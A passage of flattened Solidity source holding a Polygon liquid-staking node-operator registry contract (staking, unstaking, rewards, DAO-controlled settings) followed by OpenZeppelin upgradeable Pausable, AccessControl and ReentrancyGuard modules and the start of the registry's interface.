checkCondition( poValidator.contractAddress != address(0), "Validator has no ValidatorShare" ); checkCondition( (poValidator.status == IStakeManager.Status.Active ) && poValidator.deactivationEpoch == 0 , "Validator isn't ACTIVE" ); checkCondition( poValidator.signer == address(uint160(uint256(keccak256(no.signerPubkey)))), "Invalid Signer" ); IValidator(no.validatorProxy).join( validatorId, sm.NFTContract(), msg.sender, no.commissionRate, stakeManager ); no.validatorId = validatorId; address validatorShare = sm.getValidatorContract(validatorId); no.validatorShare = validatorShare; emit JoinOperator(operatorId); } /// ------------------------Stake Manager API------------------------------- /// @notice Allows to stake a validator on the Polygon stakeManager contract. /// @dev The stake func allows each operator's owner to stake, but before that, /// the owner has to approve the amount + Heimdall fees to the ValidatorProxy. /// At the end of this call, the status of the operator is set to ACTIVE. /// @param _amount amount to stake. /// @param _heimdallFee heimdall fees. function stake(uint256 _amount, uint256 _heimdallFee) external override whenNotPaused checkStakeAmount(_amount) checkHeimdallFees(_heimdallFee) { (uint256 operatorId, NodeOperator storage no) = getOperator(0); checkCondition( getOperatorStatus(no) == NodeOperatorStatus.INACTIVE, "Invalid status" ); (uint256 validatorId, address validatorShare) = IValidator( no.validatorProxy ).stake( msg.sender, _amount, _heimdallFee, true, no.signerPubkey, no.commissionRate, stakeManager, polygonERC20 ); no.validatorId = validatorId; no.validatorShare = validatorShare; emit StakeOperator(operatorId, _amount, _heimdallFee); } /// @notice Allows to restake Matics to Polygon stakeManager /// @dev restake allows an operator's owner to increase the total staked amount /// on Polygon. The owner has to approve the amount to the ValidatorProxy then make /// a call. /// @param _amount amount to stake. function restake(uint256 _amount, bool _restakeRewards) external override whenNotPaused { checkCondition(allowsRestake, "Restake is disabled"); if (_amount == 0) { revert("Amount is ZERO"); } (uint256 operatorId, NodeOperator storage no) = getOperator(0); checkCondition( getOperatorStatus(no) == NodeOperatorStatus.ACTIVE, "Invalid status" ); IValidator(no.validatorProxy).restake( msg.sender, no.validatorId, _amount, _restakeRewards, stakeManager, polygonERC20 ); emit RestakeOperator(operatorId, _amount, _restakeRewards); } /// @notice Unstake a validator from the Polygon stakeManager contract. /// @dev when the operators's owner wants to quite the PoLido protocol he can call /// the unstake func, in this case, the operator status is set to UNSTAKED. function unstake() external override whenNotPaused { (uint256 operatorId, NodeOperator storage no) = getOperator(0); NodeOperatorStatus status = getOperatorStatus(no); checkCondition( status == NodeOperatorStatus.ACTIVE || status == NodeOperatorStatus.JAILED || status == NodeOperatorStatus.EJECTED, "Invalid status" ); if (status == NodeOperatorStatus.ACTIVE) { IValidator(no.validatorProxy).unstake(no.validatorId, stakeManager); } _unstake(operatorId, no); } /// @notice The DAO unstake the operator if it was unstaked by the stakeManager. /// @dev when the operator was unstaked by the stage Manager the DAO can use this /// function to update the operator status and also withdraw the delegated tokens, /// without waiting for the owner to call the unstake function /// @param _operatorId operator id. function unstake(uint256 _operatorId) external userHasRole(DAO_ROLE) { NodeOperator storage no = operators[_operatorId]; NodeOperatorStatus status = getOperatorStatus(no); checkCondition(status == NodeOperatorStatus.EJECTED, "Invalid status"); _unstake(_operatorId, no); } function _unstake(uint256 _operatorId, NodeOperator storage no) private whenNotPaused { IStMATIC(stMATIC).withdrawTotalDelegated(no.validatorShare); no.status = NodeOperatorStatus.UNSTAKED; emit UnstakeOperator(_operatorId); } /// @notice Allows the operator's owner to migrate the validator ownership to rewardAddress. /// This can be done only in the case where this operator was stopped by the DAO. function migrate() external override nonReentrant { (uint256 operatorId, NodeOperator storage no) = getOperator(0); checkCondition(no.status == NodeOperatorStatus.STOPPED, "Invalid status"); IValidator(no.validatorProxy).migrate( no.validatorId, IStakeManager(stakeManager).NFTContract(), no.rewardAddress ); no.status = NodeOperatorStatus.EXIT; emit MigrateOperator(operatorId); } /// @notice Allows to unjail the validator and turn his status from UNSTAKED to ACTIVE. /// @dev when an operator is JAILED the owner can switch back and stake the /// operator by calling the unjail func, in this case, the operator status is set /// to back ACTIVE. function unjail() external override whenNotPaused { (uint256 operatorId, NodeOperator storage no) = getOperator(0); checkCondition( getOperatorStatus(no) == NodeOperatorStatus.JAILED, "Invalid status" ); IValidator(no.validatorProxy).unjail(no.validatorId, stakeManager); emit Unjail(operatorId); } /// @notice Allows to top up heimdall fees. /// @dev the operator's owner can topUp the heimdall fees by calling the /// topUpForFee, but before that node operator needs to approve the amount of heimdall /// fees to his validatorProxy. /// @param _heimdallFee amount function topUpForFee(uint256 _heimdallFee) external override whenNotPaused checkHeimdallFees(_heimdallFee) { (uint256 operatorId, NodeOperator storage no) = getOperator(0); checkCondition( getOperatorStatus(no) == NodeOperatorStatus.ACTIVE, "Invalid status" ); IValidator(no.validatorProxy).topUpForFee( msg.sender, _heimdallFee, stakeManager, polygonERC20 ); emit TopUpHeimdallFees(operatorId, _heimdallFee); } /// @notice Allows to unstake staked tokens after withdraw delay. /// @dev after the unstake the operator and waiting for the Polygon withdraw_delay /// the owner can transfer back his staked balance by calling /// unsttakeClaim, after that the operator status is set to CLAIMED function unstakeClaim() external override whenNotPaused { (uint256 operatorId, NodeOperator storage no) = getOperator(0); checkCondition( getOperatorStatus(no) == NodeOperatorStatus.UNSTAKED, "Invalid status" ); uint256 amount = IValidator(no.validatorProxy).unstakeClaim( no.validatorId, msg.sender, stakeManager, polygonERC20 ); no.status = NodeOperatorStatus.CLAIMED; emit UnstakeClaim(operatorId, amount); } /// @notice Allows withdraw heimdall fees /// @dev the operator's owner can claim the heimdall fees. /// func, after that the operator status is set to EXIT. /// @param _accumFeeAmount accumulated heimdall fees /// @param _index index /// @param _proof proof function claimFee( uint256 _accumFeeAmount, uint256 _index, bytes memory _proof ) external override whenNotPaused { (uint256 operatorId, NodeOperator storage no) = getOperator(0); checkCondition( no.status == NodeOperatorStatus.CLAIMED, "Invalid status" ); IValidator(no.validatorProxy).claimFee( _accumFeeAmount, _index, _proof, no.rewardAddress, stakeManager, polygonERC20 ); no.status = NodeOperatorStatus.EXIT; emit ClaimFee(operatorId); } /// @notice Allows the operator's owner to withdraw rewards. function withdrawRewards() external override whenNotPaused { (uint256 operatorId, NodeOperator storage no) = getOperator(0); checkCondition( getOperatorStatus(no) == NodeOperatorStatus.ACTIVE, "Invalid status" ); address rewardAddress = no.rewardAddress; uint256 rewards = IValidator(no.validatorProxy).withdrawRewards( no.validatorId, rewardAddress, stakeManager, polygonERC20 ); emit WithdrawRewards(operatorId, rewardAddress, rewards); } /// @notice Allows the operator's owner to update signer publickey. /// @param _signerPubkey new signer publickey function updateSigner(bytes memory _signerPubkey) external override whenNotPaused { (uint256 operatorId, NodeOperator storage no) = getOperator(0); NodeOperatorStatus status = getOperatorStatus(no); checkCondition( status == NodeOperatorStatus.ACTIVE || status == NodeOperatorStatus.INACTIVE, "Invalid status" ); if (no.status == NodeOperatorStatus.ACTIVE) { IValidator(no.validatorProxy).updateSigner( no.validatorId, _signerPubkey, stakeManager ); } no.signerPubkey = _signerPubkey; emit UpdateSignerPubkey(operatorId); } /// @notice Allows the operator owner to update the name. /// @param _name new operator name. function setOperatorName(string memory _name) external override whenNotPaused { // uint256 operatorId = getOperatorId(msg.sender); // NodeOperator storage no = operators[operatorId]; (uint256 operatorId, NodeOperator storage no) = getOperator(0); NodeOperatorStatus status = getOperatorStatus(no); checkCondition( status == NodeOperatorStatus.ACTIVE || status == NodeOperatorStatus.INACTIVE, "Invalid status" ); no.name = _name; emit NewName(operatorId, _name); } /// @notice Allows the operator owner to update the rewardAddress. /// @param _rewardAddress new reward address. function setOperatorRewardAddress(address _rewardAddress) external override whenNotPaused checkIfRewardAddressIsUsed(_rewardAddress) { (uint256 operatorId, NodeOperator storage no) = getOperator(0); no.rewardAddress = _rewardAddress; operatorOwners[_rewardAddress] = operatorId; delete operatorOwners[msg.sender]; emit NewRewardAddress(operatorId, _rewardAddress); } /// -------------------------------DAO-------------------------------------- /// @notice Allows the DAO to set the operator defaultMaxDelegateLimit. /// @param _defaultMaxDelegateLimit default max delegation amount. function setDefaultMaxDelegateLimit(uint256 _defaultMaxDelegateLimit) external override userHasRole(DAO_ROLE) checkMaxDelegationLimit(_defaultMaxDelegateLimit) { defaultMaxDelegateLimit = _defaultMaxDelegateLimit; } /// @notice Allows the DAO to set the operator maxDelegateLimit. /// @param _operatorId operator id. /// @param _maxDelegateLimit max amount to delegate . function setMaxDelegateLimit(uint256 _operatorId, uint256 _maxDelegateLimit) external override userHasRole(DAO_ROLE) checkMaxDelegationLimit(_maxDelegateLimit) { (, NodeOperator storage no) = getOperator(_operatorId); no.maxDelegateLimit = _maxDelegateLimit; } /// @notice Allows to set the commission rate used. function setCommissionRate(uint256 _commissionRate) external override userHasRole(DAO_ROLE) { commissionRate = _commissionRate; } /// @notice Allows the dao to update commission rate for an operator. /// @param _operatorId id of the operator /// @param _newCommissionRate new commission rate function updateOperatorCommissionRate( uint256 _operatorId, uint256 _newCommissionRate ) external override userHasRole(DAO_ROLE) { (, NodeOperator storage no) = getOperator(_operatorId); checkCondition( no.rewardAddress != address(0) || no.status == NodeOperatorStatus.ACTIVE, "Invalid status" ); if (no.status == NodeOperatorStatus.ACTIVE) { IValidator(no.validatorProxy).updateCommissionRate( no.validatorId, _newCommissionRate, stakeManager ); } no.commissionRate = _newCommissionRate; emit UpdateCommissionRate(_operatorId, _newCommissionRate); } /// @notice Allows to update the stake amount and heimdall fees /// @param _minAmountStake min amount to stake /// @param _minHeimdallFees min amount of heimdall fees function setStakeAmountAndFees( uint256 _minAmountStake, uint256 _minHeimdallFees ) external override userHasRole(DAO_ROLE) checkStakeAmount(_minAmountStake) checkHeimdallFees(_minHeimdallFees) { minAmountStake = _minAmountStake; minHeimdallFees = _minHeimdallFees; } /// @notice Allows to pause the contract. function togglePause() external override userHasRole(PAUSE_OPERATOR_ROLE) { paused() ? _unpause() : _pause(); } /// @notice Allows to toggle restake. function setRestake(bool _restake) external override userHasRole(DAO_ROLE) { allowsRestake = _restake; } /// @notice Allows to set the StMATIC contract address. function setStMATIC(address _stMATIC) external override userHasRole(DAO_ROLE) { stMATIC = _stMATIC; } /// @notice Allows to set the validator factory contract address. function setValidatorFactory(address _validatorFactory) external override userHasRole(DAO_ROLE) { validatorFactory = _validatorFactory; } /// @notice Allows to set the stake manager contract address. function setStakeManager(address _stakeManager) external override userHasRole(DAO_ROLE) { stakeManager = _stakeManager; } /// @notice Allows to set the contract version. /// @param _version contract version function setVersion(string memory _version) external override userHasRole(DEFAULT_ADMIN_ROLE) { version = _version; } /// @notice Allows to get a node operator by msg.sender. /// @param _owner a valid address of an operator owner, if not set msg.sender will be used. /// @return op returns a node operator. function getNodeOperator(address _owner) external view returns (NodeOperator memory) { uint256 operatorId = operatorOwners[_owner]; return _getNodeOperator(operatorId); } /// @notice Allows to get a node operator by _operatorId. /// @param _operatorId the id of the operator. /// @return op returns a node operator. function getNodeOperator(uint256 _operatorId) external view returns (NodeOperator memory) { return _getNodeOperator(_operatorId); } function _getNodeOperator(uint256 _operatorId) private view returns (NodeOperator memory) { (, NodeOperator memory nodeOperator) = getOperator(_operatorId); nodeOperator.status = getOperatorStatus(nodeOperator); return nodeOperator; } function getOperatorStatus(NodeOperator memory _op) private view returns (NodeOperatorStatus res) { if (_op.status == NodeOperatorStatus.STOPPED) { res = NodeOperatorStatus.STOPPED; } else if (_op.status == NodeOperatorStatus.CLAIMED) { res = NodeOperatorStatus.CLAIMED; } else if (_op.status == NodeOperatorStatus.EXIT) { res = NodeOperatorStatus.EXIT; } else if (_op.status == NodeOperatorStatus.UNSTAKED) { res = NodeOperatorStatus.UNSTAKED; } else { IStakeManager.Validator memory v = IStakeManager(stakeManager) .validators(_op.validatorId); if ( v.status == IStakeManager.Status.Active && v.deactivationEpoch == 0 ) { res = NodeOperatorStatus.ACTIVE; } else if ( ( v.status == IStakeManager.Status.Active || v.status == IStakeManager.Status.Locked ) && v.deactivationEpoch != 0 ) { res = NodeOperatorStatus.EJECTED; } else if ( v.status == IStakeManager.Status.Locked && v.deactivationEpoch == 0 ) { res = NodeOperatorStatus.JAILED; } else { res = NodeOperatorStatus.INACTIVE; } } } /// @notice Allows to get a validator share address. /// @param _operatorId the id of the operator. /// @return va returns a stake manager validator. function getValidatorShare(uint256 _operatorId) external view returns (address) { (, NodeOperator memory op) = getOperator(_operatorId); return op.validatorShare; } /// @notice Allows to get a validator from stake manager. /// @param _operatorId the id of the operator. /// @return va returns a stake manager validator. function getValidator(uint256 _operatorId) external view returns (IStakeManager.Validator memory va) { (, NodeOperator memory op) = getOperator(_operatorId); va = IStakeManager(stakeManager).validators(op.validatorId); } /// @notice Allows to get a validator from stake manager. /// @param _owner user address. /// @return va returns a stake manager validator. function getValidator(address _owner) external view returns (IStakeManager.Validator memory va) { (, NodeOperator memory op) = getOperator(operatorOwners[_owner]); va = IStakeManager(stakeManager).validators(op.validatorId); } /// @notice Get the stMATIC contract addresses function getContracts() external view override returns ( address _validatorFactory, address _stakeManager, address _polygonERC20, address _stMATIC ) { _validatorFactory = validatorFactory; _stakeManager = stakeManager; _polygonERC20 = polygonERC20; _stMATIC = stMATIC; } /// @notice Get the global state function getState() external view override returns ( uint256 _totalNodeOperator, uint256 _totalInactiveNodeOperator, uint256 _totalActiveNodeOperator, uint256 _totalStoppedNodeOperator, uint256 _totalUnstakedNodeOperator, uint256 _totalClaimedNodeOperator, uint256 _totalExitNodeOperator, uint256 _totalJailedNodeOperator, uint256 _totalEjectedNodeOperator ) { uint256 operatorIdsLength = operatorIds.length; _totalNodeOperator = operatorIdsLength; for (uint256 idx = 0; idx < operatorIdsLength; idx++) { uint256 operatorId = operatorIds[idx]; NodeOperator memory op = operators[operatorId]; NodeOperatorStatus status = getOperatorStatus(op); if (status == NodeOperatorStatus.INACTIVE) { _totalInactiveNodeOperator++; } else if (status == NodeOperatorStatus.ACTIVE) { _totalActiveNodeOperator++; } else if (status == NodeOperatorStatus.STOPPED) { _totalStoppedNodeOperator++; } else if (status == NodeOperatorStatus.UNSTAKED) { _totalUnstakedNodeOperator++; } else if (status == NodeOperatorStatus.CLAIMED) { _totalClaimedNodeOperator++; } else if (status == NodeOperatorStatus.JAILED) { _totalJailedNodeOperator++; } else if (status == NodeOperatorStatus.EJECTED) { _totalEjectedNodeOperator++; } else { _totalExitNodeOperator++; } } } /// @notice Get operatorIds. function getOperatorIds() external view override returns (uint256[] memory) { return operatorIds; } /// @notice Returns an operatorInfo list. /// @param _allWithStake if true return all operators with ACTIVE, EJECTED, JAILED. /// @param _delegation if true return all operators that delegation is set to true. /// @return Returns a list of operatorInfo. function getOperatorInfos( bool _delegation, bool _allWithStake ) external view override returns (Operator.OperatorInfo[] memory) { Operator.OperatorInfo[] memory operatorInfos = new Operator.OperatorInfo[]( totalNodeOperators ); uint256 length = operatorIds.length; uint256 index; for (uint256 idx = 0; idx < length; idx++) { uint256 operatorId = operatorIds[idx]; NodeOperator storage no = operators[operatorId]; NodeOperatorStatus status = getOperatorStatus(no); // if operator status is not ACTIVE we continue. But, if _allWithStake is true // we include EJECTED and JAILED operators. if ( status != NodeOperatorStatus.ACTIVE && !(_allWithStake && (status == NodeOperatorStatus.EJECTED || status == NodeOperatorStatus.JAILED)) ) continue; // if true we check if the operator delegation is true. if (_delegation) { if (!IValidatorShare(no.validatorShare).delegation()) continue; } operatorInfos[index] = Operator.OperatorInfo({ operatorId: operatorId, validatorShare: no.validatorShare, maxDelegateLimit: no.maxDelegateLimit, rewardAddress: no.rewardAddress }); index++; } if (index != totalNodeOperators) { Operator.OperatorInfo[] memory operatorInfosOut = new Operator.OperatorInfo[](index); for (uint256 i = 0; i < index; i++) { operatorInfosOut[i] = operatorInfos[i]; } return operatorInfosOut; } return operatorInfos; } /// @notice Checks condition and displays the message /// @param _condition a condition /// @param _message message to display function checkCondition(bool _condition, string memory _message) private pure { require(_condition, _message); } /// @notice Retrieve the operator struct based on the operatorId /// @param _operatorId id of the operator /// @return NodeOperator structure function getOperator(uint256 _operatorId) private view returns (uint256, NodeOperator storage) { if (_operatorId == 0) { _operatorId = getOperatorId(msg.sender); } NodeOperator storage no = operators[_operatorId]; require(no.rewardAddress != address(0), "Operator not found"); return (_operatorId, no); } /// @notice Retrieve the operator struct based on the operator owner address /// @param _user address of the operator owner /// @return NodeOperator structure function getOperatorId(address _user) private view returns (uint256) { uint256 operatorId = operatorOwners[_user]; checkCondition(operatorId != 0, "Operator not found"); return operatorId; } /// -------------------------------Events----------------------------------- /// @notice A new node operator was added. /// @param operatorId node operator id. event AddOperator(uint256 operatorId); /// @notice A new node operator joined. /// @param operatorId node operator id. event JoinOperator(uint256 operatorId); /// @notice A node operator was removed. /// @param operatorId node operator id. event RemoveOperator(uint256 operatorId); /// @param operatorId node operator id. event StopOperator(uint256 operatorId); /// @param operatorId node operator id. event MigrateOperator(uint256 operatorId); /// @notice A node operator was staked. /// @param operatorId node operator id. event StakeOperator( uint256 operatorId, uint256 amount, uint256 heimdallFees ); /// @notice A node operator restaked. /// @param operatorId node operator id. /// @param amount amount to restake. /// @param restakeRewards restake rewards. event RestakeOperator( uint256 operatorId, uint256 amount, bool restakeRewards ); /// @notice A node operator was unstaked. /// @param operatorId node operator id. event UnstakeOperator(uint256 operatorId); /// @notice TopUp heimadall fees. /// @param operatorId node operator id. /// @param amount amount. event TopUpHeimdallFees(uint256 operatorId, uint256 amount); /// @notice Withdraw rewards. /// @param operatorId node operator id. /// @param rewardAddress reward address. /// @param amount amount. event WithdrawRewards( uint256 operatorId, address rewardAddress, uint256 amount ); /// @notice claims unstake. /// @param operatorId node operator id. /// @param amount amount. event UnstakeClaim(uint256 operatorId, uint256 amount); /// @notice update signer publickey. /// @param operatorId node operator id. event UpdateSignerPubkey(uint256 operatorId); /// @notice claim herimdall fee. /// @param operatorId node operator id. event ClaimFee(uint256 operatorId); /// @notice update commission rate. event UpdateCommissionRate(uint256 operatorId, uint256 newCommissionRate); /// @notice Unjail a validator. event Unjail(uint256 operatorId); /// @notice update operator name. event NewName(uint256 operatorId, string name); /// @notice update operator name. event NewRewardAddress(uint256 operatorId, address rewardAddress); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal onlyInitializing { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal onlyInitializing { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-FileCopyrightText: 2021 ShardLabs // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; import "../lib/Operator.sol"; /// @title INodeOperatorRegistry /// @author 2021 ShardLabs /// @notice Node operator registry interface interface INodeOperatorRegistry { /// @notice Allows to add a new node operator to the system. /// @param _name the node operator name. /// @param _rewardAddress public address used for ACL and receive rewards. /// @param _signerPubkey public key used on heimdall len 64 bytes. function addOperator( string memory _name, address _rewardAddress, bytes memory _signerPubkey ) external; /// @notice Allows to stop a node operator. /// @param _operatorId node operator id. function stopOperator(uint256 _operatorId) external; /// @notice Allows to remove a node operator from the system. /// @param _operatorId node operator id. function removeOperator(uint256 _operatorId) external; /// @notice Allows a staked validator to join the system. function joinOperator() external; /// @notice Allows to stake an operator on the Polygon stakeManager. /// This function calls Polygon transferFrom so the totalAmount(_amount + _heimdallFee) /// has to be approved first. /// @param _amount amount to stake. /// @param _heimdallFee heimdallFee to stake. function stake(uint256 _amount, uint256 _heimdallFee) external; /// @notice Restake Matics for a validator on polygon stake manager. /// @param _amount amount to stake. /// @param _restakeRewards restake rewards. function restake(uint256 _amount, bool _restakeRewards) external; /// @notice Allows the operator's owner to migrate the NFT. This can be done only /// if the DAO stopped the operator. function migrate() external; /// @notice Allows to unstake an operator from the stakeManager. After the withdraw_delay /// the operator owner can call claimStake func to withdraw the staked tokens. function unstake() external; /// @notice Allows to topup heimdall fees on polygon stakeManager. /// @param _heimdallFee amount to topup. function topUpForFee(uint256 _heimdallFee) external; /// @notice Allows to claim staked tokens on the stake Manager after the end of the /// withdraw delay function unstakeClaim() external; /// @notice Allows an owner to withdraw rewards from the stakeManager. function withdrawRewards() external; /// @notice Allows to update the signer pubkey /// @param _signerPubkey update signer public key function updateSigner(bytes memory _signerPubkey) external; /// @notice Allows to claim the heimdall fees staked by the owner of the operator /// @param _accumFeeAmount accumulated fees amount /// @param _index index /// @param _proof proof function claimFee( uint256 _accumFeeAmount, uint256 _index, bytes memory _proof ) external; /// @notice Allows to unjail a validator and switch from UNSTAKE status to STAKED function unjail() external; /// @notice Allows an operator's owner to set the operator name. function setOperatorName(string memory _name) external; /// @notice Allows an operator's owner to set the operator rewardAddress. function setOperatorRewardAddress(address _rewardAddress) external; /// @notice Allows the DAO to set _defaultMaxDelegateLimit. function setDefaultMaxDelegateLimit(uint256 _defaultMaxDelegateLimit) external; /// @notice Allows the DAO to set _maxDelegateLimit for an operator. function setMaxDelegateLimit(uint256 _operatorId, uint256 _maxDelegateLimit) external; /// @notice Allows the DAO to set _commissionRate. function setCommissionRate(uint256 _commissionRate) external; /// @notice Allows the DAO to set _commissionRate for an operator. /// @param _operatorId id of the operator /// @param _newCommissionRate new commission rate function updateOperatorCommissionRate( uint256 _operatorId, uint256 _newCommissionRate ) external; /// @notice Allows the DAO to set _minAmountStake and _minHeimdallFees. function setStakeAmountAndFees( uint256 _minAmountStake, uint256 _minHeimdallFees ) external; /// @notice Allows to pause/unpause the node operator contract. function togglePause() external; /// @notice Allows the DAO to 